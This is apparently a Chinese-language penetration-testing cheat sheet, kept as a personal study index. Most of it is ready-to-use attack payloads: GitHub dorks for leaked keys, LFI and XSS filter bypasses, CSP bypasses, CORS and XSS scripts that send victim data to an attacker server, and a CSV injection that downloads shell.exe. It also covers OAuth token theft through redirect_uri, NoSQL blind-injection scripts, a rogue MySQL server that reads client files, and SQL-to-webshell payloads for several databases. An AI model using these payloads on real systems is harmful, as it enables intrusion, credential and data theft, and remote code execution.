声明:此文章为平时学习积累的知识索引，会大量引用大佬们的东西
并且会持续更新……
知识补充 备忘 1 2 3 4 #certutil certutil -hashfile xxxx md5 #sqlmap --prefix "' " --suffix " and 'r'='r"
docker备忘 docker save和docker export的区别
总结一下docker save和docker export的区别：
docker save保存的是镜像（image），docker export保存的是容器（container）；
docker load用来载入镜像包，docker import用来载入容器包，但两者都会恢复为镜像；
docker load不能对载入的镜像重命名，而docker import可以为镜像指定新名称。
密码学知识 md5
md5详解：https://github.com/corkami/pocs/blob/master/collisions/README.md
信息收集
https://4hou.win/wordpress/?p=31548
域名搜集 存在网站abc.com搜集下列网站信息
1 2 3 4 5 abc-inc.com *.corp.abc.com *.intra.abc.com abc-corp.com abc-ltd.com
archive.org http://web.archive.org/cdx/search/cdx?url=xxxxxxxxxxx.com/*&output=json&fl=original&collapse=urlkey
或者使用脚本archives
google && github hack 1 2 3 4 5 6 7 8 9 10 11 site:Github.com smtp @qq.commit site:Github.com root password "xxxx.cn" API_key"xxxx.cn" secret_key"xxxx.cn" aws_key"xxxx.cn" Password "xxxx.cn" FTP"xxxx.cn" login "xxxx.cn" github_token
端口扫描 nmap -sS -O -sV -iL ~/Desktop/url.txt -p 20,21,22,23,24,25,53,67,68,69,79,80,81,82,83,84,85,86,87,88,89,109,110,111,137,138,139,143,161,210,389,443,465,512,513,514,546,873,993,994,995,1090,1091,1092,1093,1094,1095,1096,1097,1098,1099,1158,1352,1433,1434,1521,2049,2181,2222,2888,3306,3307,3308,3389,3690,3700,3888,4040,4100,4200,4443,4444,4445,4848,5000,5006,5432,5601,5632,5900,5901,5902,5903,5904,5905,6379,7001,7077,7180,7181,7182,8000,8480,8485,8888,9000,9080,9092,9300,9418,10000,10020,11211,18080,19888,50470,50475,60000,60010,60020,60030,9093,27017,27018,27019,50010,50011,50012,50013,50014,50015,50016,50017,50018,50019,50020,50021,50022,50023,50024,50025,50026,50027,50028,50029,50030,50031,50032,50033,50034,50035,50036,50037,50038,50039,50040,50041,50042,50043,50044,50045,50046,50047,50048,50049,50050,50051,50052,50053,50054,50055,50056,50057,50058,50059,50060,50061,50062,50063,50064,50065,50066,50067,50068,50069,50070,50071,50072,50073,50074,50075,50076,50077,50078,50079,50080,50081,50082,50083,50084,50085,50086,50087,50088,50089,50090,9094,9095,9096,9097,9098,9099,9100,9101,9102,9103,9104,9105,9106,9107,9108,9109,9110,9111,9112,9113,9114,9115,9116,9117,9118,9119,9120,9121,9122,9123,9124,9125,9126,9127,9128,9129,9130,9131,9132,9133,9134,9135,9136,9137,9138,9139,9140,9141,9142,9143,9144,9145,9146,9147,9148,9149,9150,9151,9152,9153,9154,9155,9156,9157,9158,9159,9160,9161,9162,9163,9164,9165,9166,9167,9168,9169,9170,9171,9172,9173,9174,9175,9176,9177,9178,9179,9180,9181,9182,9183,9184,9185,9186,9187,9188,9189,9190,9191,9192,9193,9194,9195,9196,9197,9198,9199,9200,9443,9081,9082,9083,9084,9085,9086,9087,9088,9089,9090,8001,8002,8003,8004,8005,8006,8007,8008,8009,8010,8011,8012,8013,8014,8015,8016,8017,8018,8019,8020,8021,8022,8023,8024,8025,8026,8027,8028,8029,8030,8031,8032,8033,8034,8035,8036,8037,8038,8039,8040,8041,8042,8043,8044,8045,8046,8047,8048,8049,8050,8051,8052,8053,8054,8055,8056,8057,8058,8059,8060,8061,8062,8063,8064,8065,8066,8067,8068,8069,8070,8071,8072,8073,8074,8075,8076,8077,8078,8079,8080,8081,8082,8083,8084,8085,8086,8087,8088,8089,8090,8091,8092,8093,8094,8095,8096,8097,8098,8099,8161,8443,10001 -v -T4 -Pn -oA ~/Desktop/result
add
1 2 3 12001、12002、12003、8080、8090、3003 11111、62818、54467 49242
TCP SYN SCAN
https://xz.aliyun.com/t/5376
CDN CDN绕过查找真实ip https://vorders.me/2018/11/15/%E7%BB%95%E8%BF%87%E4%BA%91waf%E6%89%BE%E7%9C%9F%E5%AE%9Eip/
信息泄露 git泄露
SHA-1 :hash大小为160位，计算长度为40位确定.git泄露存在与否，确认接收到请求是否为403 （若为则存在）
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 object对象 ├──blob #二进制块，存放数据。结构:blob [文件大小]\x00[文件内容] ├──tree #存放层级关系。功能像文件夹，来管理文件和文件夹 # 例子:100644 blob 63c918c667fa005ff12ad89437f2fdc80926e21c .gitignore │ ├──mode #文件模式 100644表普通文件，100755表可执行文件，具体参考unix的文件模式 │ ├──type #对象类型 │ ├──object #指向文件的sha1签名 │ └──file #文件名 ├──commit #指向一个tree，包含描述信息 │ ├──tree #tree的sha1签名 │ ├──parent #上一步操作的历史记录（若没有则称之为root commit） │ ├──author #创建人,包含提交日期 │ └──committer #注释,描述修改 └──tag #标记commit,相当于版本号 ├──object #commit的sha1签名 ├──type #对象类型 ├──tag #标签名 ├──tagger #标签创建人的名字 └──signature #签名信息，可略
Id（sha1编码过）的前2个字母是目录名，后38个字母是文件名。
对于sha1:d16ecb17678b0297516962e2232080200ce7f2b3存在以下目录：
1 http://xdsec-cms-12023458.xdctf.win/.git/objects/d1/6ecb17678b0297516962e2232080200ce7f2b3
详细内容查看：http://gitbook.liuhui998.com/1_2.html https://stackoverflow.com/questions/737673/how-to-read-the-mode-field-of-git-ls-trees-output https://www.leavesongs.com/PENETRATION/XDCTF-2015-WEB2-WRITEUP.html
svn 泄露 工具：
1 2 git clone https://github.com/admintony/svnExploit.git python .\SvnExploit.py -u http://xx.xx.xx.xx/.svn --dump
BAZAAR 泄露 1 2 git clone https://github.com/SeahunOh/bzr_dumper python3 dumper.py -u "http://127.1/" -o source
api key 泄露 api调用大全
阿里osshttp://xxxxx.aliyuncs.com/
1 2 3 4 accessKeyId: 'xxx', accessKeySecret: 'xxx', bucket: 'xxx', host: 'xxx'
使用ossbrowser进行连接
获取思路：
公开的托管代码库中存放AccessKey（源码泄漏问题）
APK文件中的配置文件存放AccessKey（反编译后可搜索）
WEB应用中的配置文件存放AccessKey（低权限webshell可访问）
利用思路：
第三方WEB管理平台
本地管理工具（如ossbrowser、ossutil）
编程调用官方提供的API
参考：https://www.cnblogs.com/xiaozi/p/11767841.html
漏洞挖掘 PHP cms 漏洞挖掘https://xz.aliyun.com/u/10394
验证码漏洞
https://xz.aliyun.com/t/4984#toc-3
验证码字符可控
验证码使用后未销毁
验证码存放位置暴露
验证码使用弱加密
验证码对比后未跳出/销毁
验证码尺寸可控导致ddos
文件包含(LFI) bypass 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 ./../ ..;/ ..././ ...\.\ ..\/ http://localhost:8080/spring-mvc-showcase/resources/%255c%255c..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/windows/win.ini . = %252e / = %252f \ = %255c %00 # php < 5.3.4 %252e%252e%252fetc%252fpasswd # 双编码 %c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd # utf-8 编码 ../../#{more ../}../../etc/passwd # 超大payload绕过，超过4096 byte ....//....//etc/passwd #添加干扰字符 ..///////..////..//////etc/passwd /%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd http://example.com/index.php?page=\\10.0.0.1\share\shell.php # 当php中 allow_url_include 和 allow_url_fopen为OFF的时候可以包含smb下文件 php://filter/read=string.rot13/resource=index.php # php伪协议 input:// expect://id phar:// data:// zip:// \\localhost\c$\windows\win.ini # unc 绕过 GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1 # 包含/proc/self/environ ，日志文件达到rce User-Agent: <?=phpinfo(); ?> /var/log/apache/access.log
fuzz: https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Directory%20Traversal/Intruder/deep_traversal.txt
文件包含全知识详解
zip或phar协议包含文件
适用于上传文件被强制追加后缀a.php->a.php.jpghttp://127.0.0.1/file.php?file=zip://php.zip.jpg%23a.php
https://bl4ck.in/tricks/2015/06/10/zip%E6%88%96phar%E5%8D%8F%E8%AE%AE%E5%8C%85%E5%90%AB%E6%96%87%E4%BB%B6.html
包含shell的临时文件如何寻找
phinfo 查看文件临时保存地址/文件名
window/linux通配符寻找
在linux中，每个进程都有一个PID，而/proc/xxx/下存放着与该进程相关的信息（这里的xxx就是PID）。/proc/xxx/下的cwd是软链接，self表示本进程。当我们通过访问Apache运行的网站时，/proc/self/cwd/就相当于apache的根目录，例如我本机Apache的根目录是/var/www/html
反序列化 PHP反序列化标识符含义
a - array
private属性需要在字段两边+%00
常见魔术方法:
1 2 3 4 5 6 7 8 9 __construct()//创建对象时触发 __destruct() //对象被销毁时触发 __call() //在对象上下文中调用不可访问的方法时触发 __callStatic() //在静态上下文中调用不可访问的方法时触发 __get() //用于从不可访问的属性读取数据 __set() //用于将数据写入不可访问的属性 __isset() //在不可访问的属性上调用isset()或empty()触发 __unset() //在不可访问的属性上使用unset()时触发 __invoke() //当脚本尝试将对象调用为函数时触发
详细：
https://xz.aliyun.com/t/3674#toc-0
php反射调用
https://www.cnblogs.com/youyoui/p/7300340.html
xpath 注入 工具：xcat
web缓存欺骗攻击 攻击三要素：
易存在漏洞的框架：
PHP
Django
ASP.NET # FriendlyURLs关闭时
Cloudflare
IIS ARR
NGINX #配置了缓存规则
1 2 3 4 1. attacker使用社工方式让victimer访问该页面： https://victim/messages/home/non-existent.css 2. victimer访问页面后，根据自己的凭证获取到信息 ：https://victim/messages/home 3. 并且缓存在该页面： https://victim/messages/home/non-existent.css 4. 最后attacker访问该页面能获取到victimer信息 （https://victim/messages/home/non-existent.css）
poc:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 <html> <head> </head> <body> <script> var cachedUrl = 'https:/ /www.【漏洞网站】.com/ ' + generateId() + ' .css'; const popup = window.open(cachedUrl); function generateId() { var content = ' '; const alphaWithNumber = ' QWERTZUIOPASDFGHJUKLYXCVBNM1234567890'; for (var i = 0; i < 10; i++) { content += alphaWithNumber.charAt(Math.floor(Math.random() * alphaWithNumber.length)) } return content; } var checker = setInterval(function() { if (popup.closed) { clearInterval(checker); } }, 200); var closer = setInterval(function() { popup.close(); document.body.innerHTML = ' Victims content is now cached <a href="' + cachedUrl + '" >here and the url can be saved on the hackers server</a><br><b>Full Url: ' + cachedUrl + '</ b>'; clearInterval(closer); }, 3000); </script> </body> </html>
https://drive.google.com/file/d/0BxuNjp5J7XUIdkotUm5Jem5IZUk/view
xss 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 javas%0 acript: \j\av\a\s\cr\i\pt\:\a\l\ert\(1 \) OnAuxClick=alert`` <svg onload=alert(1 ) -(confirm)(1 ) new Function `al\ert\`6\`` ;setTimeout`\u0061lert\u0028document.domain\u0029` ; {onerror=alert}throw 1337 self[Object .keys(self)[5 ]]("1" ) <img src='1' onerror\x00=alert(0) /> # bypass onxxxx blacklist <object onbeforescriptexecute=confirm(0 )> <img src='1' onerror/=alert(0 ) /> "><svg/onload=confirm(1)>"@x.y # email xss "" [(!1 +"" )[3 ]+(!0 +"" )[2 ]+('' +{})[2 ]][('' +{})[5 ]+('' +{})[1 ]+(("" [(!1 +"" )[3 ]+(!0 +"" )[2 ]+('' +{})[2 ]])+"" )[2 ]+(!1 +'' )[3 ]+(!0 +'' )[0 ]+(!0 +'' )[1 ]+(!0 +'' )[2 ]+('' +{})[5 ]+(!0 +'' )[0 ]+('' +{})[1 ]+(!0 +'' )[1 ]](((!1 +"" )[1 ]+(!1 +"" )[2 ]+(!0 +"" )[3 ]+(!0 +"" )[1 ]+(!0 +"" )[0 ])+"(1)" )()([,ウ,,,,ア]=[]+{},[ネ,ホ,ヌ,セ,,ミ,ハ,ヘ,,,ナ]=[!!ウ]+!ウ+ウ.ウ)[ツ=ア+ウ+ナ+ヘ+ネ+ホ+ヌ+ア+ネ+ウ+ホ][ツ](ミ+ハ+セ+ホ+ネ+'(-~ウ)' )() 更多神奇编码alert：http: x@x.com<--`<img/src=` onerror=alert(1 )> --!> <noscript><p title ="</noscript> <img src=x onerror=alert(1)>" > <body onpageshow=a='a'+'lert',window[a](1)> 6666666"> <video hidden="hidden" onloadedmetadata="\u006aava\u0073cript:[1].find(\u0061lert)" src="http://www.runoob.com/try/demo_source/movie.mp4" ></video> <details open ontoggle=$.getScript`//127.0.0.1:899/a.js`> <details/open/ontoggle=alert`1`> <marquee onstart=alert(1)> <img src=x onerror=\u0061lert``> <svg/onload="(new Image()).src='//baidu.com?+document.cookie'"> <img src=1 onerror=a="%2",location="javascr"+"ipt:aler"+"t"+a+"81"+a+"9"> <img src=1 onerror="javascript:window.onerror=alert;throw 1"> <img src=1 onerror=_=top;_.onerror=_["al"+"ert"];throw[2333] > fcr1y" onmouseover=a="%2",location="javascr"+"ipt:aler"+"t"+a+"81"+a+"9" "lrtmk <p id="wow" onfocus="alert(1)" contenteditable=""></p> use tag #wow <p style="animation-name:progress-bar-stripes" onanimationstart="alert(1)"></p> 在bootstrap引用 <div onpointerenter="alert(1)">11111 </div> 将"/"转义为"/"（URLEncode后是%26sol;） 双重url编码 ">><marquee><img src=x onerror=confirm(1)></marquee>" ></plaintext\></|\><plaintext/onmouseover=prompt(1) ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->" ></script><script>alert(1)</script>"><img/id="confirm( 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http: //i.imgur.com/P8mL8.jpg"> javascript:"/*\"/*`/*' /*</template></textarea></noembed></noscript></title></style></script>--><svg onload=/*<html/*/onmouseover=alert()//> # 多语言xss检测
更详细的bypass：https://medium.com/@man.shum546/xss-payload-2018-5271c5e3bbce
各种技巧 style xss
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 style animation引申 寻找css中使用animation的方法 如bootstrap中的 - spinner-grow - spinner-border - progress-bar-stripes animation事件 - animationcancel - onanimationstart - onanimationend - animationiteration <p style="animation-name:spinner-grow" onanimationend="alert(1)" ></p >
参考：https://developer.mozilla.org/en-US/docs/Web/API/HTMLElement
mxss <svg></p><style><a id="</style><img src=1 onerror=alert(1)>">
详细：https://research.securitum.com/dompurify-bypass-using-mxss/
绕jsonp
1 2 <script>function getdata (data )JSON .stringify(data));}</script> <script src="http:/ /xxxx.com/ ?callback=getdata"></script>
1 <script/src=?url=alert(1 )></script >
bypass xss auditor
1 %FF%FE%3C%00s%00c%00r%00i%00p%00t%00%3E%00a%00l%00e%00r%00t%00%28%001%00%29%00%3C%00/%00s%00c%00r%00i%00p%00t%00%3E%00
瞄点xss
1 2 <details open ontoggle="alert(1)"> id='a' contenteditable onfocus="alert(1)"#a
https://html5sec.org/#145 https://github.com/cure53/XSSChallengeWiki/wiki/Mini-Puzzle-1-on-kcal.pw
开启页面缓存 Pragma: cache
1 2 3 4 5 6 7 8 低版本ie 不会的referer进行url编码 ----会传送referer https->https http->https http->http ----不会传送refer https->http
http://www.qingpingshan.com/jb/javascript/184536.html
针对hidden 的xss
1 2 3 4 5 6 分为漏洞处在hidden前或后 前： 可以覆盖type为其他的，`<input value="a" src=1 onerror=alert(1) type="image" type="hidden">` 后： 只能通过间接的方式来触发，比如大家熟知的`'<input type="hidden" name="returnurl" value="" accesskey="x" onclick="alert(1)" />`，然后按shift+alt+x触发xss，但是还可以这样操作，无交互的触发xss，相比起来已经是无限制了，` style='behavior:url(?)'onreadystatechange='alert(1)' ` > https://blog.csdn.net/u014345860/article/details/77351760
[+]location
1 2 3 <img src=x onerror=location="javascript:alert%281%29" > <img src=x onerror=location="javascr" +"ipt:al" +"ert%28docu" +"ment.co" +"okie%29" > <img src=x onerror=Function(location.hash.slice(1))()>#alert(1)
详细：
https://www.leavesongs.com/PENETRATION/use-location-xss-bypass.html
[+]//和\\绕过
但是要注意在windows下\本身就有特殊用途，是一个path 的写法，所以\\在Windows下是file协议，在linux下才会是当前域的协议
//test.com/1.js
1 unescape ('%2f%2ftest.com%2f1.js' )
[+]Ascii码绕过
<img src="x" onerror="eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,59))">
[+]过滤括号
<svg/onload="window.onerror=eval;throw'=alert\x281\x29';">
[+] 编码绕过
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 #html %26 %2397 ;lert(1 ) <img src="1" onerror="alert(1)" /> <iframe src="javascript:%61%6c%65%72%74%28%31%29" ></iframe > #UTF-16be %00 %3 C%00 s%00 v%00 g%00 /%00 o%00 n%00 l%00 o%00 a%00 d%00 =%00 a%00 l%00 e%00 r%00 t%00 (%00 )%00 %3 E%00 #UTF-8 < = %C0%BC = %E0%80 %BC = %F0%80 %80 %BC > = %C0%BE = %E0%80 %BE = %F0%80 %80 %BE ' = %C0%A7 = %E0%80%A7 = %F0%80%80%A7 " = %C0%A2 = %E0%80%A2 = %F0%80%80%A2 " = %CA%BA ' = %CA%B9#Unicode %EF%BC%9 E becomes > %EF%BC%9 C becomes <
[+] csp bypass
CSP Bypass
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 Check the CSP on https: Bypass CSP using JSONP from Google (Trick by @apfeifer27) <script/src= More JSONP endpoints available in /Intruders/jsonp_endpoint.txt Bypass CSP by lab.wallarm.com Works for CSP like Content-Security-Policy: default -src 'self' 'unsafe-inline' ;, POC here script=document .createElement('script' ); script.src='//bo0om.ru/csp.js' ; window .frames[0 ].document.head.appendChild(script);Bypass CSP by Rhynorater d=document ;f=d.createElement("iframe" );f.src=d.querySelector('link[href*=".css"]' ).href;d.body.append(f);s=d.createElement("script" );s.src="https://yoursubdomain.xss.ht" ;setTimeout(function (1000 ) Bypass CSP by @akita_zen Works for CSP like script-src self <object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==" ></object > Bypass CSP by @404 death Works for CSP like script-src 'self' data: <script ?/src="data:+,\u0061lert%281%29">/ </script >
xss in markdown/SVG/XML/files markdown
1 2 3 4 [a](javascript:prompt(document .cookie)) [a](j a v a s c r i p t:prompt(document .cookie)) [a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K) [a](javascript:window .onerror=alert;throw %201 )
svg
1 2 3 4 <svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)"/> <svg><desc><![CDATA[</desc><script>alert(1)</script>]]></svg> <svg><foreignObject><![CDATA[</foreignObject><script>alert(2)</script>]]></svg> <svg><title><![CDATA[</title><script>alert(3)</script>]]></svg>
self-xss的利用
http://www.anquan.us/static/drops/web-14035.html
ctf中常见xss读文件 1 2 3 4 5 6 7 8 9 10 11 12 13 <svg/onload=" xmlhttp=new XMLHttpRequest(); xmlhttp.onreadystatechange=function() { if (xmlhttp.readyState==4 && xmlhttp.status==200) { document.location='http://xxxxx/?'+btoa(xmlhttp.responseText); } } xmlhttp.open("POST","request.php",true); xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded"); xmlhttp.send("url=file:///etc/passwd"); ">
CORS学习 bypass
一般来说存在如下头，表示存在cors漏洞Access-Control-Allow-Origin: *Access-Control-Allow-Credentials: true
在Credentials为false的情况下，使用浏览器缓存绕过Access-Control-Allow-Origin: *Access-Control-Allow-Credentials: false
1 2 3 4 5 6 7 8 9 <html> <script> var url = "https://api.a.com/x/wd?c=web"; fetch(url, { method: 'GET', cache: 'force-cache' }); </script> </html>
强烈推荐：
https://xz.aliyun.com/t/2745 https://github.com/amandakelake/blog/issues/62 https://www.freebuf.com/articles/web/158529.html
实战过程遇到的例子
1 2 3 4 5 6 7 8 9 10 11 12 <script type="text/javascript" > var req = new XMLHttpRequest();req.onload = reqListener; var sendData = {"query" :"query handleGetPersonalAssets {\n getPersonalAssets {\n phone\n redAvailable\n totalTickets\n __typename\n }\n}\n" };req.open("POST" ,"https://漏洞网站/api" ,true ); req.setRequestHeader('content-type' , 'application/json' ); req.withCredentials = true ; req.send(JSON .stringify(sendData)); function reqListener (location="http://自己服务器地址/?////////////=" +this .responseText; }; </script>
防御方式
https://blog.csdn.net/weixin_41646716/article/details/85070981
sockets 攻击 tool
默认本地监听8000端口python ws-harness.py -u "ws://dvws.local:8080/authenticate-user" -m ./message.txt[FUZZ] 关键词{"auth_user":"dGVzda==", "auth_pass":"[FUZZ]"}sqlmap -u http://127.0.0.1:8000/?fuzz=test
SSO 单点登录 SAML 注入 待续…….
OAuth bypass
重定向到恶意地址来获取sso的token
1 https://www.example.com/signin/authorize?[...]&redirect_uri=https://localhost.evil.com
重定向支持解析html
1 https://www.example.com/signin/authorize?[...]&redirect_uri=<img src=1 onerror=alert()>
apk或ios应用反编译中包含OAuth私钥
思路扩展：
client_id与redirect_uri绑定将不存在此漏洞（以腾讯为例client_id=1002723021为 xxx.com域名的服务id，此时遍历redirect_uri确定允许范围，一般为二级或三级域）
2.1 假设存在二级域的文件上传（由于是oss，不能上传webshell，只能上传html页面，在html页面写入重定向到自己服务器，自己服务器上能接收到referer信息，其中就能包含oauth token
2.2 Discuz 发帖在图片地址栏填入我们的恶意服务器，用来接收受害者code
参考: https://zhuanlan.zhihu.com/p/34252979
LaTeX 注入 1 2 3 4 5 6 7 8 9 10 11 12 \input{/etc/passwd} #读文件 \include{password} \newwrite\outfile #写文件 \openout\outfile=cmd.tex \write\outfile{Hello-world} \closeout\outfile \immediate\write18{env > output} #命令执行 \input{output} \url{javascript:alert(1)} #跨站脚本
csv 注入 examples:UserId,BillToDate,ProjectName,Description,DurationMinutes
1,2017-07-25,Test Project,Flipped the jibbet,60
2,2017-07-25,Important Client,"Bop, dop, and giglip", 240
2,2017-07-25,Important Client,"=2+5", 240
1 2 3 4 5 6 7 8 9 10 11 12 13 DDE ("cmd" ;"/C calc" ;"!A0" )A0 @SUM(1+1)*cmd|' /C calc' !A0 =2+5+cmd|' /C calc' !A0 =cmd|' /C notepad' !'A1' =cmd|'/C powershell IEX(wget attacker_server/shell.exe)' !A0 =cmd|'/c rundll32.exe \\10.0.0.1\3\2\1.dll,0' !_xlbgnm.A1
no sql 待补充……
工具:https://github.com/codingo/NoSQLMap
认证绕过，使用$ne和$gt
1 2 3 4 5 6 7 8 username[$ne]=toto&password[$ne]=toto {"username": {"$ne": null}, "password": {"$ne": null}} {"username": {"$gt": undefined}, "password": {"$gt": undefined}} 匹配密码长度： username[$ne]=toto&password[$regex]=.{3} username[$ne]=toto&password[$regex]=md.{1} {"username": {"$eq": "admin"}, "password": {"$regex": "^md" }}
盲注jio本：
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 import requestsimport urllib3import stringimport urlliburllib3.disable_warnings() username='admin' password='' u='http://example.org/login' while True : for c in string.printable: if c not in ['*' ,'+' ,'.' ,'?' ,'|' , '#' , '&' , '$' ]: payload='?username=%s&password[$regex]=^%s' % (username, password + c) r = requests.get(u + payload) if 'Yeah' in r.text: print("Found one more char : %s" % (password+c)) password += c
工具：https://github.com/youngyangyang04/NoSQLAttack
GraphQL 注入 1 2 3 4 5 6 7 8 9 10 query { teams(where:{_or:[{state:{_eq:soft_launched}}, {state:{_eq:soft_launched}}]}) { edges { node { id state } } } }
mysql tips
1 2 sleep() 等价于 benchmark() mid()substring() 等价于 substr()
报错 1 2 3 4 5 6 mysql> select pow(2,1024); ERROR 1690 (22003): DOUBLE value is out of range in 'pow(2,1024)' mysql> select cot(0); ERROR 1690 (22003): DOUBLE value is out of range in 'cot(0)' mysql> select exp(710); ERROR 1690 (22003): DOUBLE value is out of range in 'exp(710)'
order by 盲注 1 2 3 4 5 6 7 8 9 10 11 select * from users where id =1 union select 1 ,2 ,'a' order by 3 select * from users where id =1 union select 1 ,2 ,'z' order by 3 然后对其逐位二分去确定值
参考: https://www.chabug.org/ctf/852.html
子查询 1 2 select `3` from (select 1 ,2 ,3 from union select * from users )xselect 1 ,(select `4` from (select 1 ,2 ,3 ,4 union select * from sys_config)a limit 1 ,1 )
dns 通道的盲注 条件:
windows
有file_priv权限，且load_file不被过滤
secure_file_priv 不为NULL
1 select load_file (concat ('\\\\' ,(select hex (group_concat (table_name)) from information_schema.tables where table_schema=database ()),'.xxxxx.ceye.io\\abc' ))
参考: http://lawlietweb.com/2018/06/30/dnslogsqli/
mysql 客户端文件读取 详解：mysql 蜜罐
引申：
只要我们把这个恶意的服务开在 3306 端口上，自然会有全球各地的扫描器来光顾，不光能读到一些客户端文件，还能接收到很多各类后门挖矿 payload，不过这只是常规操作。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 import socketimport logginglogging.basicConfig(level=logging.DEBUG) filename="/etc/passwd" sv=socket.socket() sv.bind(("" ,3306 )) sv.listen(5 ) conn,address=sv.accept() logging.info('Conn from: %r' , address) conn.sendall("\x4a\x00\x00\x00\x0a\x35\x2e\x35\x2e\x35\x33\x00\x17\x00\x00\x00\x6e\x7a\x3b\x54\x76\x73\x61\x6a\x00\xff\xf7\x21\x02\x00\x0f\x80\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x70\x76\x21\x3d\x50\x5c\x5a\x32\x2a\x7a\x49\x3f\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00" ) conn.recv(9999 ) logging.info("auth okay" ) conn.sendall("\x07\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00" ) conn.recv(9999 ) logging.info("want file..." ) wantfile=chr(len(filename)+1 )+"\x00\x00\x01\xFB" +filename conn.sendall(wantfile) content=conn.recv(9999 ) logging.info(content) conn.close()
https://github.com/allyshka/Rogue-MySql-Server https://lightless.me/archives/read-mysql-client-file.html https://xz.aliyun.com/t/3277#toc-5
sql bypass方法 1 2 3 4 5 6 7 ///.js? union /*!select%252a/ union/!/!select%201,2,3*/ union`select` union%23aa%0a/!select–%01%0a/1,@$,3 set @s = 0x73686f77207461626c65733b;prepare t from @s;execute t; and 使用 /***/ANd
更改请求类型
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 POST /vulnerabilities/sql.php HTTP/1.1 Host: x User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:63.0) Gecko/20100109 Firefox/61.0 Content-Type: multipart/form-data;boundary=---------------------------274591138927562 -----------------------------274591138927562 Content-Disposition: form-data; name="id" 100000 -----------------------------274591138927562 Content-Disposition: form-data; name="pk" 1111111111111 union -----------------------------274591138927562 Content-Disposition: form-data; name="Upload" Upload -----------------------------274591138927562--
更改content-type头
1 2 3 4 5 POST /vulnerabilities/sql.php HTTP/1.1 Host: x Content-Type: multipart/form-data;boundary=---------------------------274591138927562 id=1 union
chunked攻击
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 POST /vulnerabilities/sql.php HTTP/1.1 Host: 101.71.156.8:8081 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0 Transfer-Encoding: chunked 2; ip 4; =127 3; .1 1; | 2; d 2; ir 14; &Submit=Submit
常规 通过独有函数判断数据库类型
1 2 3 4 access asc chr len #access-functions #exists(select*from msysobjects)判定access数据库 mysql substring substr length mssql char ascii len substring #mssql function str oracle ascii chr length substr upper lower replace(x,old,new)
https://xz.aliyun.com/t/2418
sql注入getshell
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 mysql select 0x3c3f70687020a6576616c28245f504f53545b615d293ba3f3e into outfile '/var/www/html/1.php' Sql server 存储过程xp_cmdshell ;exec master..xp_cmdshell 'echo ^<%@ Page Language="Jscript"%^>^<%eval(Request.Item["pass"],"unsafe");%^> > D:\\WWW\\2333.aspx' ;-- Oracle 1、创建JAVA包 select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}}'';commit;end;' ) from dual;2、JAVA权限 select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''begin dbms_java.grant_permission( ''''SYSTEM'''', ''''SYS:java.io.FilePermission'''', ''''<<ALL FILES>>'''',''''EXECUTE'''');end;''commit;end;' ) from dual;3、创建函数 select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''create or replace function LinxRunCMD(p_cmd in varchar2) return varchar2 as language java name ''''LinxUtil.runCMD(java.lang.String) return String''''; '';commit;end;' ) from dual;URL执行 id=602'||utl_inadd.get_host_name((select LinxRUNCMD('cmd /c dir d:/' ) from dual)) postgresql COPY (select '<?php phpinfo();?>' ) to '/tmp/1.php' ; sqlite3 ;attach database 'D:\\www\\008.php' as tt;create TABLE tt.exp (dataz text ) ; insert INTO tt.exp (dataz) VALUES (x'3c3f70687020406576616c28245f504f53545b27636d64275d293b3f3e' ); redis %0D%0Aconfig%20set%20dir%20%2Fvar%2Fwww%2Fhtml2F%0D%0Aconfig%20set%20dbfilename%20shell%2Ephp%0D%0Aset%20x%2022%3C%3Fphp%20phpinfo%28%29%3B%%203F%3E%22%0D%0Asave%0D%0A
